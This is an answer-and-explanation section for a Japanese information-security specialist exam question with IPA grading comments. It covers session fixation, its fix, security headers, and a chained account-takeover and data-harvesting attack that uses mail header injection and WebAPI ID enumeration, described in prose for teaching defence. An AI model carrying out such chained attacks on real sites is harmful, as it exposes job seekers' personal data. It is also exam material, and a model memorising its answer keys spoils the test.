このうち認証が成功して権限が変わるのは,ログインボタンから画面 02 へ進む(イ)である。(ア)はログインボタンから画面 01 の入力欄に戻る遷移(図3)で認証前の状態が続き,(エ)は画面 02 から 03 への遷移でログイン後の状態が続くだけで,どちらも権限が変わる場所ではない。ログインの成功時に新しい sessionID を発行すれば,攻撃者が事前に入手した sessionID は無効になるので,a は(イ)になる。

間違えやすい点。表 B に列挙された(ア)(イ)(エ)の中から選ぶ問題だが,同じ値という事実だけでは決まらない。“ログイン成功の瞬間”がどれかを図3から読み取る。

設問1(2) 解答欄1つ

図 A 中の b に入れる適切な URL を,表1から選び答えよ。

〔b〕解答例

  • https://test.△△△.jp/
解説

本文の根拠

表1

01,02:https://test.△△△.jp/。

表 B

Web ブラウザに直接 URL を入力して,画面 01 を表示したとき

図 A 手順 2

手順 2:URL“b”にアクセスして,sessionID を入手する。

図 A 手順 7

手順 7:罠サイトへのアクセスを検知後,c が完了することを期待して数分間待ち,手順 2 で入手した sessionID を指定した状態で,URL“b”にアクセスする。

手順 2 で攻撃者は,Web ブラウザに URL を直接入力して画面 01(ログイン画面)を表示し,sessionID を入手する。表 B の 1 行目のとおり,画面 01 の HTML の hidden フィールドに sessionID が入っている。表1によれば,画面 01 と画面 02 の URL は同じ https://test.△△△.jp/ である。

手順 3 で作る罠の HTML も,入手した sessionID を入れたフォームを,ログインの処理を受け付ける URL に POST するので,URL は同じである。手順 7 でも,被害者のログインが済んだあとの画面 02 にアクセスするため,やはり https://test.△△△.jp/ になる。b の三か所はすべて同じ URL で,答えは https://test.△△△.jp/ である。

講評でも,この設問は正答率が高かった。間違えやすい点は,画面 02 の mypage など,ほかの画面の URL を選ぶこと。画面 01 と 02 が同じ URL で,ログイン前後で URL が変わらないことが,攻撃手順を単純にしている。

採点講評(IPA)

設問1(2)は,正答率が高かった。セッションフィクセーション脆弱性について,よく理解できていた。

設問1(3) 解答欄1つ

図 A 中の c に入れる適切な操作を答えよ。

〔c〕解答例

  • メール受信者によるログイン
解説

本文の根拠

図 A 手順 3

当該 HTML が Web ブラウザに読み込まれた直後に,上記のフォームを URL“b”に POST メソッドで送信するスクリプト

図 A 手順 7

手順 7:罠サイトへのアクセスを検知後,c が完了することを期待して数分間待ち,手順 2 で入手した sessionID を指定した状態で,URL“b”にアクセスする。

図4 2.2.1(1)

攻撃者が,セッションフィクセーション脆弱性を悪用して不正ログインに成功し,画面 02 で応募者確認ボタンをクリックして

手順 3 の罠サイトでは,攻撃者が入手した sessionID を,被害者の Web ブラウザから M サイトに送らせる。M サイトは sessionID の値だけでセッション管理するので,被害者はその sessionID のセッションで M サイトを使うことになる。被害者がそのセッションで認証を済ませる(ログインする)と,同じ sessionID をもつ攻撃者も,認証済みのセッションを手に入れる。

手順 7 で攻撃者が待っているのは,被害者のログインである。メール受信者(求人企業の担当者)によるログインが完了してから,手順 2 で入手した sessionID で画面 02 にアクセスすれば,不正にログインした状態になる。c は“メール受信者によるログイン”である。

書き方の注意。“メール受信者による”と主体を書く。“ログインが完了する”だけだと攻撃者自身のログインとも読める。待つ対象は被害者の操作である。

設問1(4) 解答欄1つ

2.2.1(2) 中の d に入れる適切な修正方法を具体的に答えよ。

〔d〕解答例

  • 使用済みのsessionIDを無効にした上で,新しいsessionIDを発行
解説

本文の根拠

図4 2.2.1(2)

(2) 脆弱性の修正方法:a の画面遷移の際に実行されるコードにおいて,d することを推奨する。

図4 2.2.1(1)

表 B のいずれの画面遷移においても,HTTP レスポンス中の sessionID の値が同一であった。

a の画面遷移(イ)はログイン成功の遷移であり,その際に実行されるコードで,認証前に使っていた sessionID を破棄し,新しい sessionID を発行して以降のセッション管理に使えばよい。そうすると,攻撃者が事前に入手した(または被害者に押し付けた)sessionID は,ログイン後は無効になるため,被害者のログイン後に攻撃者がその sessionID でアクセスしても,認証済みのセッションは使えない。

したがって d は,“使用済みの sessionID を無効にした上で,新しい sessionID を発行(する)”である。

書き方の注意。“新しい sessionID を発行する”だけでは,古い sessionID が有効なまま残る場合があり,攻撃者の sessionID が使い続けられるので不十分である。古いものを無効にすることと,新しく発行することの両方を書く。

設問1(5) 解答欄2つ

表 D 中の e,f に入れる適切な効果を答えよ。

〔e〕解答例

  • Mサイトへの接続をHTTPSに強制することができる。

〔f〕解答例

  • Mサイトのコンテンツに対して,Content-Typeヘッダーで指定したMIMEタイプを強制的に適用することができる。
解説

本文の根拠

表 D

Content-Security-Policy:Web ブラウザが実行可能なスクリプトの有効なソースとなるドメインを,M サイトで必要なものだけに限定することができる。

表 D

Strict-Transport-Security:e。X-Content-Type-Options:f。

図4 2.2.3(1)

これらの HTTP ヘッダーを設定することで他の脆弱性による被害を軽減することができる。

e の Strict-Transport-Security(HSTS,RFC 6797)は,Web ブラウザに対して,以降の一定期間はこのサイトに HTTPS だけで接続させる指示である。HTTP で接続しようとしても,ブラウザが自動的に HTTPS に切り替えるので,通信経路上の攻撃者による盗聴や改ざん(HTTP 経由でのダウングレードなど)を防げる。“M サイトへの接続を HTTPS に強制することができる”が答えである。

f の X-Content-Type-Options は,nosniff を指定することで,Web ブラウザが Content-Type ヘッダーと違う種類のコンテンツだと推測して解釈する(MIME スニッフィング)のを禁止する。例えば画像として配信したものがスクリプトとして実行されることを防げる。“M サイトのコンテンツに対して,Content-Type ヘッダーで指定した MIME タイプを強制的に適用することができる”が答えである。

書き方の注意。ヘッダー名を言い換えて“セキュリティを強化する”のように抽象的に書くのは避け,何を強制・禁止するのかを書く。講評も,f の正答率が低かったとし,HTTP ヘッダーの効果を理解するよう求めている。

採点講評(IPA)

設問1(5)fは,正答率が低かった。攻撃による被害を軽減するHTTPヘッダーについて,設定した場合の効果をよく理解してほしい。

設問2 解答欄2つ

図4中の 4 章にある図 D 中の g,h に入れる攻撃手順を答えよ。

〔g〕解答例

  • 画面09で,会社名に,図Cの[email protected]を攻撃者のメールアドレスに変更した文字列を入力して変更ボタンをクリックする。

〔h〕解答例

  • 画面04からの一連の操作において,画面05又は画面07で再設定後のパスワードを入力して,WebAPIキーを確認又は発行する。
解説

本文の根拠

図4 4.1

図 D の順序で攻撃をした場合,不審なメールが求人企業に届かないので,攻撃に気付かれることなく,WebAPI を悪用して,より多くの求職者属性情報を窃取することができる。

図4 2.2.2(1)

図 B の手順で操作を行ったところ,メール(あ)が [email protected] だけに送信され,本来の宛先である変更前のメールアドレスには送信されなかった。

図3 注 1)

注 1) 画面 09 でメールアドレスを変更した場合の画面遷移である。画面遷移の際,M サイトから,変更前のメールアドレスに,確認用 URL が記載されたメール(あ)を送信する。

図3 05 と 07

07 PW 再確認(2):PW 入力欄と“APIkey 発行”ボタン。

図2

(2) 一つの利用者 ID に対して複数の APIkey を発行できる。

g は,図 D の(3)“メールアドレスを攻撃者のものに変更する”操作の前に置く。画面 09 でメールアドレスを変えると,変更前のアドレスに確認用 URL のメール(あ)が送られ,その URL にアクセスしないと変更が反映されない。図 B の手順(会社名に改行を含む文字列を入れて To: を差し込む)で,メール(あ)が攻撃者のアドレスにだけ届き,本来の宛先(求人企業)には届かないようにしておけば,攻撃者が確認用 URL にアクセスして変更を完了でき,求人企業に気付かれない。したがって g は,画面 09 で,会社名に図 C の [email protected] を攻撃者のメールアドレスに変更した文字列を入力し,変更ボタンをクリックする,である。

(4)(5)で攻撃者が PW を再設定してログインしたあとの(6)が h である。WebAPI を使うには APIkey が要り,APIkey の確認(画面 05)や発行(画面 07)には PW の再入力が必要である。PW を再設定した攻撃者は PW を知っているので,画面 04 からの操作で PW を入力して APIkey を確認または発行できる(一つの利用者 ID に複数の APIkey を発行できるので,発行も可能)。

間違えやすい点。g は,(3)のメールアドレス変更より前に,メール(あ)を攻撃者に届ける準備をする操作で,(3)の言い換えではない。講評も,攻撃の後の流れに合っていない解答が散見されたとしている。

採点講評(IPA)

設問2gは,正答率が低かった。攻撃の後の流れに合っていない解答が散見された。Webサイトの全体の機能を考慮し,脆弱性を組み合わせて悪用する攻撃を考える能力を培ってほしい。

設問3 解答欄4つ

あなたがこの診断を担当したとして,図4中の 5 章の表 F 中の i,j 及び表 G 中の k,l に記述する内容を答えよ。なお,複数の改善の方針案がある場合は,被害を防ぐ効果が最も高いものを答えよ。

〔i〕解答例

  • 求職者IDが推測困難なものになるように,求職者IDの生成方法を変更する。
  • WebAPIのアクセス元IPアドレスを限定して接続を許可するように変更する。
  • WebAPIで取得できる求職者属性情報は,個人を特定できないものだけに限定するように変更する。

〔j〕解答例

  • APIkeyが窃取された場合,当該求人企業への問合せ又は応募をした求職者の情報漏えいだけに被害を軽減することができるから
  • WebAPIへの第三者による不正なアクセスを防ぐことができるから
  • 不正にWebAPIが利用されても,個人を特定できない情報の漏えいだけに被害を軽減することができるから

〔k〕解答例

  • ログインの認証を,多要素認証に変更する。
  • 利用者ごとにアクセス元IPアドレスを限定して接続を許可するように変更する。
  • 求人企業プロパティ変更において,メールアドレス以外を変更した場合でも,メールを送信するように変更する。

〔l〕解答例

  • アカウントの乗っ取りを防ぐことができるから
  • 第三者による不正なアクセスを防ぐことができるから
  • 不正に求人企業プロパティが変更された場合に気付くことができるから

〔備考〕解答例は設問3の①〜⑥。i と j は①〜③(上から順に①②③),k と l は④〜⑥(上から順に④⑤⑥)で,同じ番号のものを組にして答える。〔備考〕①~③に限らず,WebAPIに関する被害を軽減する仕様の改善方針案が記述されていること。④~⑥に限らず,Webアプリケーションプログラムに関する被害を軽減する仕様の改善方針案が記述されていること

解説

本文の根拠

図2 2.(3)

(3) 任意の求職者 ID を指定して,求職者属性情報を取得する。

図2 注 1)

注 1) 求職者が M サイトに利用者登録をした年月日の 8 桁の数字の後ろに,日ごとに 000001 から登録順に割り当てられる 6 桁の数字を加えた数字 14 桁の文字列である。

図2 4.(1)

(1) 求人企業のうち,WebAPI の利用契約を締結済みの企業だけに APIkey を発行する。利用契約で認めている求職者属性情報の利用範囲は,当該企業への問合せ又は当該企業への応募それぞれに関する対応だけである。

図3 注 2)

注 2) 画面 09 でメールアドレス以外だけを変更した場合の画面遷移である。

図4 4.1 図 D

(7) WebAPI の機能を利用して,多数の求職者属性情報を窃取する。

表 F(WebAPI)では,図2の仕様の弱い点を考える。WebAPI は(3)で“任意の求職者 ID”を指定して属性情報を取得でき,求職者 ID は,登録した年月日 8 桁と日ごとの連番 6 桁という推測しやすい形である(注 1)。APIkey を手に入れた者は,契約で認められた“当該企業への問合せ・応募”の範囲を超えて,ID を順に試すだけで他の求職者の情報を取れる。解答例①は,求職者 ID を推測困難にして,被害を当該企業に問合せ・応募した求職者に限る案である。ほかに,②WebAPI の接続元 IP アドレスを限定して第三者の不正なアクセスを防ぐ,③WebAPI で取れる属性情報を個人を特定できないものに限る,なども解答例にある。

表 G(Web アプリの求人企業向け機能)では,図3の画面遷移や図4の脆弱性の周辺を考える。④ログインの認証を多要素認証にすればアカウントの乗っ取りを防げる,⑤利用者ごとにアクセス元 IP アドレスを限定すれば不正なアクセスを防げる,⑥画面 09 でメールアドレス以外だけを変更した場合(注 2)は確認メールが送られないので,その場合もメールを送れば,不正なプロパティ変更に気付ける。

書き方の注意。i と k に“仕様の改善の方針案”,j と l に“その改善によって何が防げるか”を対にして書く。備考のとおり解答例に限らず,WebAPI(i・j)と Web アプリの求人企業向け機能(k・l)の被害を軽減する案ならよい。被害を防ぐ効果が最も高いものを選ぶ条件があるので,攻撃の流れ(図 D)のどこを断つかを意識する。講評は,被害を軽減できない誤答が散見されたと指摘している。

採点講評(IPA)

設問3は,正答率がやや低かった。被害を軽減できない誤答が散見された。Webサイトでは,取り扱う情報の機密性などに応じた,認証やアクセス制限が必要である。それぞれのWebサイトの特性を考慮したセキュリティ対策を策定する能力を培ってほしい。

出典:令和6年度 秋期 情報処理安全確保支援士試験 午後 問4(表記を一部改変)